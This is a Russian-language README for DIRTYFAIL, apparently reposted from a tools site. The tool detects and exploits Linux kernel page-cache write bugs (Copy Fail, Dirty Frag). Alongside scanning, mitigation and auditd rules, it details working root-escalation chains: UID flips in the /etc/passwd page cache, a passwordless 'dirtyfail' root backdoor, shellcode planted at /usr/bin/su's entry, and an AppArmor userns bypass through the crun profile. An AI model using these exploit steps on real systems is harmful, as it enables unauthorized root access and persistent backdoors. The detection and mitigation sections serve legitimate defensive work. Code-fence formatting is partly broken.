**Обнаружение (безопасно; без изменения системы):**

| Режим | Что делает |
|---|---|
| `--scan` | Запустить все пять детекторов (режим по умолчанию) |
| `--scan --active` | Добавить sentinel-file STORE probe для каждой CVE — различает preconds-met и actually-exploitable |
| `--scan --json` | Вывести один JSON-объект в stdout (совместимо с SIEM); логи выводятся в stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Только обнаружение по каждой CVE |

**Эксплуатация (с подтверждением вводом; повреждает кэш страниц `/etc/passwd`):**

| Режим | Что делает |
|---|---|
| `--exploit-copyfail` | Смена UID через 4-байтовый примитив `algif_aead` |
| `--exploit-esp` | Смена UID через xfrm-ESP v4 (требует userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Смена UID через xfrm-ESP v6 |
| `--exploit-rxrpc` | Пустое поле пароля root через брутфорс rxkad fcrypt |
| `--exploit-gcm` | Смена UID через однобайтовый примитив `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | ПОСТОЯННЫЙ: вставить `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Стиль V4bel: внедрить архитектурно-зависимый shellcode в точку входа `/usr/bin/su`. x86_64 протестирован от начала до конца; aarch64 поставляется без аппаратного тестирования (скрыто за `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Очистка / проверка состояния:**

| Режим | Что делает |
|---|---|
| `--cleanup` | Вытеснить `/etc/passwd` из кэша страниц (`fadvise` + `drop_caches`, если root) |
| `--cleanup-backdoor` | Восстановить исходную строку `/etc/passwd` из файла состояния |
| `--cleanup-su` | Восстановить байты точки входа `/usr/bin/su` из файла состояния |
| `--list-state` | Сообщить, что (если что-то) внедрено в данный момент; без побочных эффектов |

**Защита (требуется root):**

| Режим | Что делает |
|---|---|
| `--mitigate` | Занести в черный список модули `algif_aead`/`esp4`/`esp6`/`rxrpc`; установить `apparmor_restrict_unprivileged_userns=1`; drop_caches. Побочные эффекты: нарушает работу IPsec, AFS |
| `--cleanup-mitigate` | Удалить файлы modprobe/sysctl, установленные `--mitigate` |

**Общие опции:**

| Флаг | Эффект |
|---|---|
| `--no-shell` | После успешной эксплуатации НЕ выполнять `execve su` — проверить и откатить |
| `--no-revert` | С `--no-shell` также пропустить автоматический откат (используется в демонстрации выхода из контейнера) |
| `--active` | Добавить активные sentinel-STORE проверки к `--scan`/`--check-*` |
| `--json` | (с `--scan`) выводить машиночитаемый вывод |
| `--no-color` | Отключить ANSI цвета |
| `--aa-bypass` | (только DEBUG) принудительно обойти AppArmor unprivileged-userns — эксплойты делают это внутренне, см. §8.5 |

### Примеры обнаружения

Простое сканирование (только предусловия — быстро, ~1с):```sh
./dirtyfail --scan

Активный зонд-сентинель для каждого CVE (~10 с, изменяет только сентинели в /tmp):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON для приема в SIEM/флот:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Значения статусов: vulnerable, not_vulnerable, preconds_missing, test_error. Сводка отражает наихудший из результатов.

Примеры эксплойтов (требуется подтверждение ввода)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Каждый эксплойт запрашивает `DIRTYFAIL` + (где применимо) `YES_BREAK_SSH` перед любой модификацией page-cache.

### Проверка состояния + очистка```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

Или перейти непосредственно к ядру:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
## 7. Как DIRTYFAIL обнаруживает каждую CVE

### Copy Fail (активный датчик-файл)

Обнаружение фактически запускает примитив против файла-файла в
`/tmp`:

1. Зонд `socket(AF_ALG, SOCK_SEQPACKET, 0)` и `bind` к
   `authencesn(hmac(sha256), cbc(aes))`.
2. Создайте файл-файл размером 4 КиБ в `/tmp` и вызовите сбой его первой страницы
   в кэш.
3. Запустите полный примитив эксплойта против него: `sendmsg` AAD с
   `seqno_lo = "PWND"`, вставьте 32 байта файла-файла в сокет
   AF_ALG op, заставьте `recv` выполнить запись scratch.
4. Перечитайте файл-файл и найдите `PWND` в любом месте первой
   страницы.

Маркер найден ⇒ уязвимо. Маркер отсутствует, но содержимое страницы отличается ⇒
примитив частично сработал (все еще уязвимо). Страница идентична ⇒
не уязвимо на этом ядре.

### Dirty Frag xfrm-ESP (основано на предусловиях — или активно с `--active`)

По умолчанию `--scan` — только предусловия — мы не входим в пространство имен
пользователя в режиме обнаружения (это повлияло бы на сеть внутри
этого пространства имен). Мы проверяем:

* версия ядра в пределах уязвимого окна
* `esp4` / `esp6` загружены или могут быть загружены автоматически
* создание непривилегированного пространства имен пользователя успешно (проверяется через fork →
  дочерний процесс `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` возвращает false

Все четыре присутствуют ⇒ УЯЗВИМО (предусловия выполнены).

`--scan --active` расширяет это зондом sentinel-STORE: мы создаем
дочерний процесс, который активирует обход AA, входит в новое пространство имен
пользователя/сети, регистрирует SA XFRM и запускает триггер ESP-in-UDP против
файла-файла `/tmp/dirtyfail-esp-probe.XXXXXX`. Родительский процесс перечитывает
файл-файл и ищет байты маркера:

* маркер приземлился → kernel STORE доступен → **УЯЗВИМО**
* страница нетронута → патч ядра активен → **НЕ УЯЗВИМО**
* обход AA отклонен → **PRECOND_FAIL** (смягчено LSM)

Это единственный способ отличить ядро с бэкпортированным патчем
от неисправленного без запуска полного эксплойта UID-flip
против `/etc/passwd`. Тот же шаблон используется для ESP v6, RxRPC
и GCM с `--active`.

### Dirty Frag RxRPC (основано на предусловиях — или активно с `--active`)

Предусловия:
* `rxrpc` в `/proc/modules` или может быть загружен автоматически
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` успешен

Активный зонд (`--active`): создает дочерний процесс через обход AA,
регистрирует ключ сессии rxrpc с произвольным 8-байтовым значением,
отправляет одну подделку CHALLENGE + DATA против файла-файла в `/tmp`,
ищет ЛЮБОЕ изменение байта внутри вставленного 8-байтового окна. Мы
не пытаемся предсказать, что приземлилось — любое изменение
подтверждает, что kernel STORE срабатывает.

### Copy Fail вариант GCM + ESP v6 — та же форма

Активный зонд варианта GCM устанавливает SA транспортного режима с
произвольным IV и запускает `gcm_trigger` против файла-файла в `/tmp`; ЛЮБОЕ
изменение байта в sentinel[0] подтверждает доступность. Зонд ESP v6
также автоматически калибрует `V6_STORE_SHIFT` для каждой сборки ядра (см.
`calibrate_v6_shift` в `src/dirtyfrag_esp6.c`) — разные сборки
`esp6_input` в разных дистрибутивах помещают STORE на немного разные смещения
внутри вставленного региона, и калибровочный зонд обнаруживает точное
смещение до запуска реального эксплойта.

---

## 8. Как DIRTYFAIL эксплуатирует каждую CVE

### Copy Fail эксплойт (`copyfail.c`)

Один 4-байтовый STORE через `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Грязный фрагмент эксплойта xfrm-ESP (dirtyfrag_esp.c)

То же конечное состояние, что и при Copy Fail, достигаемое через xfrm_input вместо algif_aead:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Then exit the namespace, `execlp("su", user)` from the parent — same
final step as Copy Fail.

### Эксплойт Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su внедрение шеллкода (exploit_su.c)

Вторая атакующая цепочка без использования /etc/passwd, смоделированная по образцу эталонного эксплойта V4bel. Вместо редактирования кэша страниц /etc/passwd мы внедряем архитектурно-зависимый шеллкод в точку входа ELF /usr/bin/su в его кэше страниц; в следующий раз, когда кто-то выполнит /usr/bin/su, ядро устанавливает euid=0 из установленного на диске setuid-бита, динамический компоновщик выполняет разрешение, и управление передается нашему шеллкоду → /bin/sh как настоящему root-пользователю в init-ns. Без зависимости от PAM, полностью обходит удаление pam_unix nullok.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Матрица архитектур:

* **x86_64 (56 байт, 14 цепочечных записей по 4 байта)** — протестировано
  сквозным образом на Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Шеллкод в
  `shellcode_x86_64[]`.
* **aarch64 (80 байт, 20 инструкций)** — вручную закодирован из
  справочника ARMv8-A, **никогда не выполнялся на оборудовании**. Скрыт за
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Исходный код поставляется в
  `tools/exploit_su_aarch64.S` для верификации сообществом — соберите
  с помощью `aarch64-linux-gnu-as` и подтвердите, что последовательность байт совпадает с
  `shellcode_aarch64[]`.
* всё остальное → preconds_fail.

Файл состояния `/var/tmp/.dirtyfail-su.state` сохраняет исходные
байты точки входа, чтобы `--cleanup-su` мог их восстановить. `--list-state`
проверяет этот файл (а также файл бэкдора) без каких-либо изменений.

Если на шаге проверки обнаруживается, что кэш страниц не соответствует внедренному
шеллкоду (ядро пропатчено, AF_ALG в чёрном списке и т.д.), автоматический откат
срабатывает немедленно, и файл состояния удаляется — оператору не нужно
запускать cleanup-su после этого.

---

## 8.5 Архитектура: обход на основе внешнего/внутреннего fork

Все пять режимов эксплуатации используют общую архитектуру для обработки
политики Ubuntu `apparmor_restrict_unprivileged_userns=1` без
захвата пост-эксплуатационного `su` внутри userns, где он не может достичь
реального корня init-пространства имен.

### Проблема

Наивный обход помещает *весь* процесс `dirtyfail` внутрь нового
пользовательского пространства имен через `unshare(CLONE_NEWUSER)`. Этого достаточно для регистрации
SA XFRM и запуска триггеров splice — но это также означает, что последующий
`execlp("su", user)` выполняется внутри userns, где uid 0 отображается через
`uid_map "0 1000 1"` на внешний uid оператора (1000). PAM
`setresuid(0)` затем оказывается в userns-uid-0-mapped-to-1000, что является
**не** реальным корнем init-пространства имен — `cat /etc/shadow` возвращает EACCES,
оболочка фактически не может выполнять привилегированные операции.

### Исправление: внешнее/внутреннее разделение```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

Родитель никогда не входит в пространство имён пользователя. Дочерний процесс выполняет обход + работу с ядром, модифицирует глобальный кэш страниц (который является общим для всех пространств имён — единственный «мост», который нам нужен), и завершается. su родителя затем является обычным вызовом setresuid в начальном пространстве имён.

Передача от родителя к дочернему через переменные окружения

execv сохраняет окружение, поэтому родитель сохраняет параметры операции в переменных окружения перед форком. Каждый режим определяет свои:

После завершения этапа 2 обхода main() проверяет DIRTYFAIL_INNER_MODE и передаёт управление <mode>_exploit_inner(). Внутренняя функция выполняет только работу с ядром (без подсказок, без форка, без su) и завершается с кодом результата. Родитель забирает её через waitpid и продолжает проверку.

Почему одношаговый обход

Ранее использовавшаяся двухшаговая последовательность (change_onexec("crun") → change_onexec("chrome")) вызывала периодические ошибки ENOSPC на Ubuntu 24.04 в нашей цепочке exec (вероятно, из-за особенностей учёта userns в профиле). Один шаг в crun достаточен — профиль AppArmor crun содержит flags=(unconfined) и явное разрешение userns,, поэтому unshare выполняется успешно и остаётся в таком состоянии.

Почему нет бесконечного цикла перезапуска

После успешного завершения этапа 2 устанавливается флаг g_bypass_done в рамках процесса. Если apparmor_bypass_needed() вызывается снова в том же процессе, он сразу возвращает false, предотвращая повторное вооружение кодом после эксплойта и вложение ещё одного слоя userns (что ранее приводило к исчерпанию лимита вложенности userns как ENOSPC).

--aa-bypass теперь только отладочный флаг

В старой архитектуре --aa-bypass вооружал обход в рамках всего процесса перед диспетчеризацией эксплойта. В новой архитектуре режимы эксплойта выполняют свой собственный обход на основе форка; флаг больше не нужен для нормального использования. Он сохранён для отладки механики обхода в изоляции (например, запуск --scan внутри обходного userns) с предупреждением, что может нарушить работу su после эксплойта.


9. Смягчение последствий

Copy Fail (CVE-2026-31431)

  1. Примените патч. Основная ветка: a664bf3d; бэкпорты попали в 6.12 / 6.17 / 6.18 стабильные ветки.
  2. Временное решение: занесите в чёрный список algif_aead: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Примечание: это не устраняет Dirty Frag. Путь xfrm-ESP доходит до того же примитива authencesn, минуя algif_aead.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Примените патч. В основной ветке f4c50a4034e6 (слит 07.05.2026). Бэкпорты от дистрибутивов распространяются с 08.05.2026.
  2. Временно: заблокируйте esp4 и esp6: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Это нарушает работу IPsec / strongSwan / libreswan VPN. 3. Эшелонированная защита: запретить непривилегированные пространства имён пользователей. Ubuntu делает это по умолчанию через AppArmor; на других дистрибутивах: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Патча в основное ядро еще нет.** Патч исследователя на lkml; не объединен на момент написания (2026-05-08).
2. **Временное решение**: внести `rxrpc` в черный список:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Это нарушает работу клиентов распределенной файловой системы AFS. Большинству серверов не нужен rxrpc.

Объединённый однострочник (все три)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### Или используйте `dirtyfail --mitigate`

Тот же набор средств смягчения обёрнут в режим защиты с подтверждением ввода
типа:```sh
sudo ./dirtyfail --mitigate

Это помещает /etc/modprobe.d/dirtyfail-mitigations.conf и /etc/sysctl.d/99-dirtyfail-mitigations.conf, выгружает четыре модуля и выполняет drop_caches. Откат осуществляется через sudo ./dirtyfail --cleanup-mitigate. Побочные эффекты: нарушает работу IPsec, клиентов AFS и любого пользовательского пространства, использующего AF_ALG AEAD. Полное руководство для системного администратора см. в docs/DEFENDERS.md.

Обнаружение / мониторинг

Для постоянного обнаружения независимо от установки патчей:

  • Сканирование узла: dirtyfail --scan --active (полный зонд sentinel-STORE) или dirtyfail --scan --active --json для приёма в SIEM/парк. Bash-версия tools/dirtyfail-check.sh не имеет зависимостей сборки.
  • Правила аудита: tools/99-dirtyfail.rules — это готовый набор правил auditd, охватывающий пять путей системных вызовов, используемых цепочкой эксплойтов (регистрация XFRM netlink, add_key("rxrpc"), unshare(CLONE_NEWUSER), создание сокета AF_ALG, записи в /etc/passwd//etc/shadow). Установка: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Container blast-radius demo: tools/dirtyfail-container-escape.sh показывает, что кеш страниц ядра является общим для пространств имён — полезно для объяснения влияния на разных арендаторов операторам.

10. Этика и раскрытие информации

DIRTYFAIL — это исследовательский инструмент. Уязвимости, которые он охватывает, уже публично раскрыты с вооружёнными PoC в открытом доступе (см. Благодарности) — DIRTYFAIL добавляет покрытие обнаружения, единую документацию и более мягкий вариант PoC (переключение UID вместо перезаписи ELF /usr/bin/su).

  • Не запускайте режимы --exploit-* на системах, которые вам не принадлежат или на которых у вас нет явного разрешения на тестирование. Изменения кеша страниц обратимы с помощью drop_caches, но они по-прежнему представляют собой эскалацию привилегий, пока сохраняются.
  • Не развёртывайте DIRTYFAIL как «сканер» против сторонней инфраструктуры без письменного разрешения. Режим обнаружения не изменяет системные файлы, но открывает файл-маяк в /tmp и использует крипто-API ядра.
  • Если вы обнаружили уязвимую систему в дикой природе, следуйте ответственным процедурам раскрытия информации для оператора, а не для публики.

Бонус: заметки о варианте GCM + бэкдор + обход AppArmor

Эти три функции расширяют DIRTYFAIL техниками, впервые опубликованными 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Перереализованы в стиле DIRTYFAIL; оригинальные заслуги находятся в NOTICE.md.

Copy Fail вариант GCM

Тот же путь xfrm-ESP без копирования (no-COW), что и CVE-2026-43284, но с использованием rfc4106(gcm(aes)) вместо authencesn(...). Две причины, по которым его стоит включать наряду с вариантом authencesn:

  1. Покрытие. Защитник, который заблокировал algif_aead для смягчения Copy Fail (CVE-2026-31431), всё ещё уязвим — путь GCM не проходит через algif_aead.
  2. Детализация. AES-GCM в режиме счётчика XOR'ит ключевой поток на вставленный байт. Перебором IV (~256 попыток на байт) мы получаем произвольный одиночный байт в любом смещении файла — без выравнивания по 4 байтам, без побочных эффектов на 4 байтах.

Примитив 1-байтовой записи (cfg_1byte_write) делает возможным режим постоянного бэкдора.

Постоянный бэкдор

--exploit-backdoor выбирает самую длинную строку /etc/passwd, чья оболочка находится в {nologin, false, sync}, и перезаписывает её байт за байтом на dirtyfail::0:0:<pad>:/:/bin/bash (с выравниванием по длине). После установки su - dirtyfail от любого пользователя даёт root-оболочку — без запроса пароля — потому что pam_unix.so nullok принимает пустое поле пароля.

Имя пользователя dirtyfail намеренно привязано к этому проекту, чтобы его было легко обнаружить при любой последующей аудите — защитники, запускающие grep dirtyfail /etc/passwd (или любые HIDS, делающие то же самое), увидят строку немедленно. Если вам нужен другой идентификатор для конкретного задания красной команды, измените NEW_USER и DF_PREFIX в src/backdoor.c.

Файл на диске не изменён; подстановка живёт только в кеше страниц. --cleanup-backdoor восстанавливает исходную строку через тот же примитив.

Обход AppArmor

Ubuntu 24.04+ поставляется с apparmor_restrict_unprivileged_userns=1. Профиль по умолчанию, применяемый к непривилегированным бинарникам, позволяет unshare(USER) успешно выполняться, но лишает CAP_NET_ADMIN в новом пространстве имён. Регистрация SA XFRM тогда молча завершается ошибкой.

Обход: записать "exec crun" в /proc/self/attr/exec и вызвать execv для переключения в профиль AppArmor crun, который имеет flags=(unconfined) и явное разрешение userns,. После exec-вызова unshare(CLONE_NEWUSER | CLONE_NEWNET) успешно выполняется с полными возможностями внутри нового пространства имён.

DIRTYFAIL обрабатывает это для каждого режима эксплойта через fork: родитель остаётся в исходном пространстве имён, потомок выполняет обход + работу ядра, родитель читает глобальный кеш страниц и запускает su для получения root в исходном пространстве имён. См. §8.5 Архитектура для полной цепочки. Устаревший флаг --aa-bypass (который включал обход для всего процесса) сохранён только для отладки.

Оригинальная техника взята из aa-rootns.c от 0xdeadbeefnetwork (там приписывается Брэду Спенглеру / grsecurity). Реализация DIRTYFAIL:

  • Обнаруживает ограничение через sysctl kernel.apparmor_restrict_unprivileged_userns вместо чтения /proc/self/attr/current (который всё ещё показывает "unconfined" на Ubuntu 24.04, даже когда политика ограничивает).
  • Использует один переход в crun вместо двухшагового танца crun → chrome — второй шаг вызывал периодические ENOSPC на Ubuntu 24.04.
  • Устанавливает флаг процесса g_bypass_done после второго этапа, чтобы повторные проверки прерывались (предотвращая бесконечные циклы re-exec, которые ранее исчерпывали лимит вложенности userns).

11. Благодарности

DIRTYFAIL — это оригинальный код, но техники, которые он реализует, были разработаны исследователями ниже. Прочтите их первоисточники перед развёртыванием этого инструмента — они являются каноническими ссылками.

Авторы патчей:

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — основан на патче v1 от Hyunwoo Kim, с объединённым подходом shared-frag от Kuan-Ting Chen.
  • Патч RxRPC — Hyunwoo Kim, ожидает слияния.

Лицензия

MIT. См. LICENSE.


Контакты

Откройте issue в этом репозитории или свяжитесь по адресу, указанному в истории коммитов. Для координированного раскрытия связанных проблем свяжитесь напрямую с вышеуказанными исследователями.

Скачать инструмент
РежимПеременные окружения
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — подбор fcrypt выполняется в родителе (привилегии не требуются); ключи передаются дочернему процессу для непосредственных триггеров
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
ИсточникИсследовательВклад
https://copy.fail/АнонимОригинальное раскрытие Copy Fail
https://github.com/Smarttfoxx/copyfailSmarttfoxxPoC на C (вариант shellcode-в-su)
https://github.com/rootsecdev/cve_2026_31431rootsecdevДетектор на Python + PoC переключения UID; эргономика режима DIRTYFAIL --exploit-copyfail следует этому подходу.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Обнаружение Dirty Frag, полная цепочка PoC, патчи ядра
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkЭксплойт варианта GCM, PoC IPv6, техника обхода AppArmor userns
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerПубличные отчёты